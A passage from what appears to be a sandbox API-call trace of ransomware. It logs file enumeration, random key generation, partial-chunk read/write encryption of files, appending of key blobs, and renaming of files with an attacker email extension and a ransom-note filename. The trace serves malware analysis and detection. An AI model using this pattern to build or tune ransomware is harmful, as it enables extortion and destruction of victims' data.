ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0165.388] wcscmp (_String1="SysReqMet.ico", _String2=".") returned 1 [0165.388] wcscmp (_String1="SysReqMet.ico", _String2="..") returned 1 [0165.388] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0165.388] wcscmp (_String1="SysReqNotMet.ico", _String2=".") returned 1 [0165.389] wcscmp (_String1="SysReqNotMet.ico", _String2="..") returned 1 [0165.389] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0165.389] wcscmp (_String1="warn.ico", _String2=".") returned 1 [0165.389] wcscmp (_String1="warn.ico", _String2="..") returned 1 [0165.389] FindNextFileW (in: hFindFile=0x2fe3d88, lpFindFileData=0x2ff1488 | out: lpFindFileData=0x2ff1488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0165.389] FindClose (in: hFindFile=0x2fe3d88 | out: hFindFile=0x2fe3d88) returned 1 [0165.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1488) returned 1 [0165.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1a40) returned 1 [0165.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0165.390] RtlExitUserThread (Status=0x0) Thread: id = 1580 os_tid = 0xf8c [0165.390] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.391] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0165.392] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x85ef85c | out: lpFileSize=0x85ef85c*=3820) returned 1 [0165.392] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xee8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.392] ReadFile (in: hFile=0x5c4, lpBuffer=0x85ef830, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x85ef82c, lpOverlapped=0x0 | out: lpBuffer=0x85ef830*, lpNumberOfBytesRead=0x85ef82c*=0x4, lpOverlapped=0x0) returned 1 [0165.393] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.393] CloseHandle (hObject=0x5c4) returned 1 [0165.393] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82508) returned 1 [0165.393] RtlExitUserThread (Status=0x0) Thread: id = 1581 os_tid = 0xf90 [0165.394] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.395] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0165.395] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x866f854 | out: lpFileSize=0x866f854*=181483851) returned 1 [0165.395] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xad13947, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.396] ReadFile (in: hFile=0x5c4, lpBuffer=0x866f828, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x866f828*, lpNumberOfBytesRead=0x866f824*=0x4, lpOverlapped=0x0) returned 1 [0165.399] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.399] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5c8 [0165.399] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab618 [0165.399] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab370 [0165.399] NtQuerySystemTime (in: CurrentTime=0x866f800 | out: CurrentTime=0x866f800*=132121213227090344) returned 0x0 [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x52cd9784 [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xc3a16513 [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x1d0dff23 [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x2af31f06 [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xcb0417af [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x677e9b9e [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x7997a674 [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x40f8fefd [0165.399] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xc2b6d327 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xa04eaaa [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x86d8eb11 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xe18747de [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xa8a3d32a [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x16865d97 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x98fb56d3 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xa9bcfe68 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x859233b9 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xb1d27bcc [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x66523a20 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x8c74a59e [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xf08b2047 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x75be7fce [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x81e4a41c [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x35f4334 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xbe9f24f4 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x50bbce52 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x426e30a2 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xcbe60f41 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xa325f1b7 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xabf7ec44 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0x77876340 [0165.400] RtlRandom (in: Seed=0x866f80c | out: Seed=0x866f80c) returned 0xeab5d23d [0165.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0165.411] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0165.411] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0165.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5c8) returned 1 [0165.411] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3014068 [0165.412] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.412] ReadFile (in: hFile=0x5c4, lpBuffer=0x3014068, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x866f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3014068*, lpNumberOfBytesRead=0x866f7c0*=0x4096, lpOverlapped=0x0) returned 1 [0165.413] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.413] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.413] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0165.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0165.414] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0165.414] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3018108 [0165.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0165.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2a8 [0165.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2a8) returned 1 [0165.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0165.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.415] WriteFile (in: hFile=0x5c4, lpBuffer=0x3018108*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x866f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3018108*, lpNumberOfBytesWritten=0x866f7c0*=0x4096, lpOverlapped=0x0) returned 1 [0165.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3018108) returned 1 [0165.415] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x568d036, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.415] ReadFile (in: hFile=0x5c4, lpBuffer=0x3014068, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x866f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3014068*, lpNumberOfBytesRead=0x866f7c0*=0x4096, lpOverlapped=0x0) returned 1 [0165.417] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x568d036, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedb38 [0165.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac78 [0165.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab3c0 [0165.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab3c0) returned 1 [0165.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3018108 [0165.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2d0 [0165.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0165.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0165.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac78) returned 1 [0165.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedb38) returned 1 [0165.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x3018108*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x866f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3018108*, lpNumberOfBytesWritten=0x866f7c0*=0x4096, lpOverlapped=0x0) returned 1 [0165.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3018108) returned 1 [0165.418] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xad0f8b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.418] ReadFile (in: hFile=0x5c4, lpBuffer=0x3014068, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x866f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3014068*, lpNumberOfBytesRead=0x866f7c0*=0x4096, lpOverlapped=0x0) returned 1 [0165.419] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xad0f8b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2feddc0 [0165.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0165.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2a8 [0165.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2a8) returned 1 [0165.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3018108 [0165.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0165.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab398 [0165.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab398) returned 1 [0165.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0165.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feddc0) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x3018108*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x866f7c0, lpOverlapped=0x0 | out: lpBuffer=0x3018108*, lpNumberOfBytesWritten=0x866f7c0*=0x4096, lpOverlapped=0x0) returned 1 [0165.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3018108) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab2f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x866f81c, lpOverlapped=0x0 | out: lpBuffer=0x2fab2f8*, lpNumberOfBytesWritten=0x866f81c*=0x20, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab2d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x866f81c, lpOverlapped=0x0 | out: lpBuffer=0x2fab2d0*, lpNumberOfBytesWritten=0x866f81c*=0x20, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x866f81c, lpOverlapped=0x0 | out: lpBuffer=0x2fab320*, lpNumberOfBytesWritten=0x866f81c*=0x20, lpOverlapped=0x0) returned 1 [0165.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3014068) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x2fab550*, lpNumberOfBytesWritten=0x866f824*=0x8, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x866f83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x866f83c*, lpNumberOfBytesWritten=0x866f824*=0x4, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x866f824*=0x4, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x866f824*=0x6c, lpOverlapped=0x0) returned 1 [0165.421] WriteFile (in: hFile=0x5c4, lpBuffer=0x2fab618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x2fab618*, lpNumberOfBytesWritten=0x866f824*=0x20, lpOverlapped=0x0) returned 1 [0165.421] WriteFile (in: hFile=0x5c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x866f824, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x866f824*=0x4, lpOverlapped=0x0) returned 1 [0165.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab618) returned 1 [0165.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0165.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.421] CloseHandle (hObject=0x5c4) returned 1 [0165.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2f7e038 [0165.421] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" [0165.421] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.421] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0165.423] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.423] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2f6c090 [0165.423] wcscpy (in: _Dest=0x2f6c090, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.423] wcscat (in: _Dest=0x2f6c090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.423] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c090) returned 1 [0165.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63d48) returned 1 [0165.424] RtlExitUserThread (Status=0x1) Thread: id = 1582 os_tid = 0xf94 [0165.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0165.425] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0165.425] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x86ef960 | out: lpFileSize=0x86ef960*=43131847) returned 1 [0165.425] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x29223c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.425] ReadFile (in: hFile=0x5c4, lpBuffer=0x86ef934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x86ef930, lpOverlapped=0x0 | out: lpBuffer=0x86ef934*, lpNumberOfBytesRead=0x86ef930*=0x4, lpOverlapped=0x0) returned 1 [0165.427] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5c8 [0165.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab618 [0165.427] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab398 [0165.427] NtQuerySystemTime (in: CurrentTime=0x86ef90c | out: CurrentTime=0x86ef90c*=132121213227403014) returned 0x0 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xf1862205 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x663aa70e [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xe3c7ca18 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x298b278e [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x36ebd876 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x40b3bc35 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x12dd50e3 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x463d7bb4 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xc570b2cd [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x92742a59 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xd328c46 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xd0249910 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xcfdd20bf [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x859d03e3 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xb429b4de [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x4178b2b0 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x4087beb5 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x612983f7 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xa6cb5dfa [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x74d54ade [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x7ecf6f20 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x7b0f0858 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xc65d5cd7 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xaa7451f4 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xe9162319 [0165.427] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x7368f603 [0165.428] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0xf3c41d2b [0165.428] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x7054e554 [0165.428] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x11516800 [0165.428] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x6e738e82 [0165.428] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x260c0fdd [0165.428] RtlRandom (in: Seed=0x86ef918 | out: Seed=0x86ef918) returned 0x2a83101f [0165.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0165.447] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0165.447] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 